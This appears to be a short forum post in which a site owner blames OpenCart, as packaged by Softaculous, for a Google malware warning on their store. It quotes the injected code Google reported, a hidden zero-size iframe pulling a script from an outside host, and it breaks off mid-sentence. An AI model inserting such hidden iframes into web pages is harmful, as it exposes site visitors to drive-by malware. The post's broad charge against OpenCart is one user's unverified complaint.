I suggest that you remove opencart from Softaculous due to that it is used to distribute malware.
I got a warning from google on my site http;//bestvalueinks.com which uses opencart and google states the
"Suspected injected code is <iframe width=0 height=0
style='display:none' src="http://adsanalytics.net/in.cgi?2"></iframe>"
contacted opencart and their reply astounded me
"it looks like it was due to a 3rd party library that comes with
OpenCart. Not opencart's code"
and their solution is